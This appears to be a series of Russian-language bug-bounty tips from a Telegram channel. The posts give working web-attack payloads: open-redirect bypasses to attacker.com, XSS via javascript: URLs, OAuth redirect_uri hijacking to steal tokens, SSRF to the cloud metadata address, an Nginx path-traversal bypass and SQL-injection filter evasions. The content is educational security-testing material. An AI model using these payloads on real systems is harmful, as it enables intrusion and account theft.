Они с виду похожи, но происходят на совершенно разных этапах. Вот как их различить
ATO нацелен на этап аутентификации (до или во время входа). Ошибки контроля доступа появляются после аутентификации, когда приложение должно применять разрешения. Знание момента возникновения ошибки помогает определить её причину.
В первом случае ты захватываешь аккаунт, во втором — байпасишь правила.
ATO возникает из-за слабых потоков аутентификации:
Access control возникает из-за ошибок в логике разрешений, таких как:
ATO обычно имеет критический или высокий уровень опасности, особенно с доказательствами захвата сессии.
Access control варьируется:
Для тестирования ATO сосредоточься на входе, сбросе, сессиях. Для тестирования Access control проверяй эндпоинты, ID объектов и административные фичи.
Знание того, что тестировать, сэкономит время и повысит успех в получении вознаграждений. А понимание различий и соответствующее тестирование максимизирует твой вклад.
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥5👍2
Статические веб-приложения находят применение в самых разных сферах: от блогов и одностраничных лендингов до документации по продуктам и API.
И хотя они не обрабатывают пользовательский ввод и в целом устойчивы к инъекциям, списывать их со счётов при анализе безопасности точно не стоит.
• Брутфорс забытых директорий, панелей, бэкапов, конфигов и файлов
• Анализ
robots.txt и sitemap.xml — возможный источник интересных путей• Анализ JavaScript-файлов и комментариев в исходниках — может раскрыть скрытые эндпоинты
• Проверка заголовков ответа на наличие информации о версии веб-сервера
P. S. Не стоит недооценивать «простые» сайты. Даже без логики на сервере они могут содержать чувствительную информацию — от исходников до ключей и административных точек входа.
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
👍13🔥2
Простые, но действенные методы:
Match: Content-Type: application/json
Replace: Content-Type: application/xml
Match: https?:\/\/(www\.)?[-a-zA-Z0-9@:%._\+~#=]{1,256}\.[a-zA-Z0-9()]{1,6}\b([-a-zA-Z0-9()@:%_\+.~#?&//=]*)
Replace: https://{YOUR_SERVER}/Match: ^Referer.*$
Replace: Referer: {BLIND_XSS_PAYLOAD}
Они могут быть уязвимы к SQLi, XSS, SSRF и другие баги.
Match: type\=(\"|')hidden(\"|')
Replace: type="text"
Веб-приложения, использующие JavaScript, часто полагаются на ответ сервера для рендеринга определённых представлений страниц. Смело используй следующие правила автозамены:
"false" —> "true"
"error" —> "success"
"400" —> "200"
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥12👍3❤1
Если хочешь ускорить и повысить эффективность поиска багов в API auth flaw, присмотрись к инструменту Autoswagger. Он еще молодной, но уже много чего умеет:
Инструмент обнаруживает спецификации OpenAPI тремя способами:
1. Прямая спецификация: если предоставлен полный URL с путём, заканчивающимся на
.json, .yaml или .yml, файл парсится напрямую.2. Swagger UI: парсит известные пути Swagger UI (например,
/swagger-ui.html) и извлекает спецификацию из HTML или JavaScript.3. Прямая спецификация с использованием брутфорса: попытка обнаружения с использованием общих местоположений схем OpenAPI (
/swagger.json, /openapi.json и т. д.). Этот метод используется только в случае, если первые два не дали результата.Многозадачное параллельное тестирование множества эндпоинтов с учётом настраиваемого ограничения по скорости (
-rate).Если используется
-b или --brute, инструмент попытается применить различные типы данных с несколькими примерами значений для попытки обойти проверки, специфичные для параметров.Проверка вывода на наличие номеров телефонов, email-адресов, адресов и имён (с контекстной валидацией для снижения фолсов). Также парсит строки CSV и строки вида «ключ: значение».
Используется набор регулярных выражений для обнаружения токенов, ключей и артефактов отладки (например, переменных окружения).
В стандартном режиме результаты выводятся в таблице. С опцией
-json выводится структура в формате JSON. Режим -product фильтрует вывод, показывая только те результаты, которые содержат PII, секреты или большие ответы.Please open Telegram to view this post
VIEW IN TELEGRAM
👍4❤🔥2❤1🔥1
Open redirect — это когда уязвимое веб-приложение небезопасно обрабатывает вводимые пользователем данные, что позволяет перенаправлять его с доверенного хоста на внешний (недоверенный).
Существует server- и client-side (DOM-based) редирект (DOM-based). В первом кейсе ты управляешь заголовком
Location HTTP-ответа. Второй кейс — это редирект, инициируемый браузером (с помощью клиентского JS-кода).Простой редирект, от которого легко защититься, создав белый список разрешённых редиректов:
GET /logout.php?redirect_url=http://attacker.com/ HTTP/2
Легко байпасится:
//attacker.com
/%0A/attacker.com
/%0D/attacker.com
https://example.comattacker.com
...
DOM-based open redirect → XSS
Если в ответе нет заголовка
Location, но редирект работает (после небольшой задержки), значит был выполнен редирект на основе DOM. Ты стал еще ближе к DOM based XSS:GET /signin?redirectURL=javanoscript:alert() HTTP/2
Наш пэйлоад залетает в
window.location.href и отрабатывает.Более сложные примеры на случай, если пэйлоад фильтруется:
jav%0Dascri%0Dpt:alert(1)
javanoscript://https://example.com%0Aalert(1)
...
Open redirect → GET-based CSRF
Измени имя пользователя и био любого пользователя, перешедшего по нашей ссылке:
GET /redirect?url=/api/account/profile/username=test&bio=test HTTP/1.1
Open redirect → Account takeover через OAuth
Если приложение позволяет использовать сторонние учетки для входа в систему, то, скорее всего, она использует OAuth 2.0. Если видишь что-то вроде:
/api/oauth/apple?client_id=1234&redirect_uri=https://example.com/api/oauth/callback&response_type=token&scope=openid profile&state=random-state
Просто измени
redirect_uri на подконтрольный хост и лови токен.Open redirect → SSRF
GET/api/image-loader?url=https://example.com/redirect?url=http://169.254.169.254/... HTTP/2
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
❤7👍3
Если веб-приложение передаёт access token через
postMessage и при этом не ограничивает origin, а использует подстановку (*), — это может привести к краже токена.В таком случае ты можешь перехватить сообщение и докрутить до account takeover. Обращай внимание, если в
postMessage стоит * вместо доверенного домена.Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥11
Ситуация: бэкенд уязвим к Path Traversal, но пробиться через
../ не выходит — мешает Nginx-прокси, который сразу рубит запрос с ошибкой 400 Bad Request, как только вылезает выше корня./../../anything → 400 Bad Request
/deep/path/../../anything → OK
/deep/path/../../../anything → 400 Bad Request
Но есть нюанс: если в конфиге отключён
merge_slashes (значение off), Nginx не будет схлопывать двойные и более слэши (//) перед проверкой. Это позволяет обойти его:1. Для Nginx путь выглядит очень глубоким из-за
/////.2. Прокси думает, что ты ещё внутри разрешённого диапазона.
3. А вот приложение, которое реально работает с файловой системой, уже нормализует путь, схлопывает все
// в / и получает нормальный Path Traversal./deep/path), то уже оттуда можно подниматься на несколько уровней без всяких merge_slashes off. Как видно из примера выше, /deep/path/../../anything всё ещё отрабатывает.Please open Telegram to view this post
VIEW IN TELEGRAM
🔥7❤4
☝️ Если при эксплуатации SQL-инъекции сервер пятисотит, при этом обычные булевые инъекции дают нестабильные результаты, попробуй пэйлоады из примеров. Они должны вызывать 500-ю ошибку в случае, когда условие (1=1) истинно.
В классических boolean-based инъекциях мы проверяем разницу между
TRUE и FALSE условиями по ответу сервера (размер страницы, различие в содержимом и т.п.).Но бывают ситуации, когда сервер ведёт себя одинаково, и различия отследить сложно (например, ответ всегда
200 ОК, одинаковый HTML).P. S. Вместо анализа различий в HTML, анализируй факт наличия/отсутствия ошибки, — это помогает надёжно извлекать данные там, где boolean-инъекции «шумят» или плохо работают.
Please open Telegram to view this post
VIEW IN TELEGRAM
👍5❤1👾1
AutoRepeater + Taborator = 🔥
Объединяй расширения Burp AutoRepeater и Taborator для автоматизации воркфлоу и максимизации результатов поиска SSRF:
✔️ Настрой регулярное выражение в AutoRepeater для поиска потенциальных URL-адресов и замени его на плейсхолдер Taborator
✔️ Это будет повторять запрос, изменяя URL на твой Burp Collaborator. Если SSRF-атака будет успешной, ты увидишь HTTP callback в Taborator с точным запросом, который её вызвал.
P. S. Мы уже упоминали об аналогичной автоматизации, но с использованием стандартных возможностей замены в Burp.
Объединяй расширения Burp AutoRepeater и Taborator для автоматизации воркфлоу и максимизации результатов поиска SSRF:
$collabplz.P. S. Мы уже упоминали об аналогичной автоматизации, но с использованием стандартных возможностей замены в Burp.
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
🤔5👍4
Представь, что у тебя есть XSS, но перед точкой инъекции есть неопределенная переменная. Все надежды потеряны?
Нет, ты можешь использовать технику XSS Hoisting, чтобы объявить переменную и продолжить эксплуатацию.
С какими нестандартными векторами эксплуатации XSS вы встречались в своей практике? Поделитесь с сообществом
Please open Telegram to view this post
VIEW IN TELEGRAM
👎7❤3🤡3😐3👍2🔥1🤔1
🥷🏿 Поиск коллизий кэша
Современные веб-архитектуры любят кэширование. Их много: на уровне приложения, на уровне CDN/прокси — и каждый живёт своей жизнью.
Но стоит конфигурации чуть разойтись, и начинается магия: разные кэши начинают хранить разные версии одного и того же ответа.
Рассмотрим пример приложения на Drupal, которое использует два кэш-заголовка:
Первый запрос возвращает
Когда мы добавляем
Когда снова удаляем
Это указывает на то, что были задействованы два разных механизма кэширования, позволившие сохранять ответы в кэше при разных условиях.
🚨 Что это значит?
Система пытается разделять авторизованных и неавторизованных пользователей, но механизм кэширования игнорировал заголовок
По сути, это Cache Deception. Если на проекте несколько уровней кэша и они по-разному трактуют заголовки — явный признак наличия бага:
💡 Всегда проверяй, какие заголовки влияют на кэширование (
💡 Сравнивай ответы приложения и CDN
💡 Ищи «залипшие»
Современные веб-архитектуры любят кэширование. Их много: на уровне приложения, на уровне CDN/прокси — и каждый живёт своей жизнью.
Но стоит конфигурации чуть разойтись, и начинается магия: разные кэши начинают хранить разные версии одного и того же ответа.
Рассмотрим пример приложения на Drupal, которое использует два кэш-заголовка:
X-Drupal-Cache (кэш на уровне приложения) и X-Cache (кэш на уровне прокси/CDN). Когда страница успешно закэширована, эти заголовки показывают статус HIT; если нет — MISS.Первый запрос возвращает
X-Cache: HIT, что подтверждает кэширование страницы, хотя заголовок X-Drupal-Cache показал MISS:GET / HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0 ...
HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
Content-Length: 37531
X-Drupal-Cache: MISS
X-Content-Type-Options: nosniff
Cache-Control: public, max-age=0
Vary: Cookie,Accept-Encoding
Age: 6
X-Cache: HIT
Когда мы добавляем
Authorization в запрос, оба заголовка возвращаются со значением HIT:GET / HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0 ...
Authorization: test
HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
Content-Length: 37531
X-Drupal-Cache: HIT
X-Content-Type-Options: nosniff
Cache-Control: public, max-age=0
Vary: Cookie,Accept-Encoding
Age: 12
X-Cache: HIT
Когда снова удаляем
Authorization из запроса, статус X-Drupal-Cache: HIT сохраняется:GET / HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0 ...
HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
Content-Length: 37531
X-Drupal-Cache: HIT
X-Content-Type-Options: nosniff
Cache-Control: public, max-age=0
Vary: Cookie,Accept-Encoding
Age: 5
X-Cache: HIT
Это указывает на то, что были задействованы два разных механизма кэширования, позволившие сохранять ответы в кэше при разных условиях.
Система пытается разделять авторизованных и неавторизованных пользователей, но механизм кэширования игнорировал заголовок
Authorization. В итоге приватный ответ мог попасть в публичный кэш → любой юзер получит чужой контент.По сути, это Cache Deception. Если на проекте несколько уровней кэша и они по-разному трактуют заголовки — явный признак наличия бага:
Authorization, Cookie, Host и т.п.)HIT-ы там, где должны быть MISSPlease open Telegram to view this post
VIEW IN TELEGRAM
❤6
На сегодняшний день SQLi не так часто встречаются в багбаунти, но тут как никогда актуальна поговорка:
Все новое — это хорошо забытое старое
Инъекцию можно встретить в разных частях SQL-запроса: в операторах
SELECT/ORDER BY, UPDATE (внутри WHERE), DELETE и INSERT.Многие начинающие багхантеры используют стандартный пэйлоад "
x' OR 1=1 -- -" везде, но это работает не всегда. Особенно проблематично с INSERT запросами:INSERT INTO users (username, email, password)
VALUES ('x' or 1=1 -- -', 'test@example.com', 'hash');
x'||'y" — для конкатенации строкx', (SELECT ...), 'y')-- -" — для корректного закрытия VALUESINSERT INTO users (username, email, password)
VALUES ('x', (SELECT version()), 'y')-- -', 'test@example.com', 'hash');
1. Замена пробелов комментариями:
'/**/OR/**/1=1--/**/-
2. Использование переносов строк:
'OR%0A1=1--%0A-
3. Скобки для изменения паттерна:
'OR(1=1)-- -
4. Смешивание регистра:
'oR 1=1-- -
'Or 1=1-- -
'OR 1=1-- -
Please open Telegram to view this post
VIEW IN TELEGRAM
🤨8👍5🔥2🤔2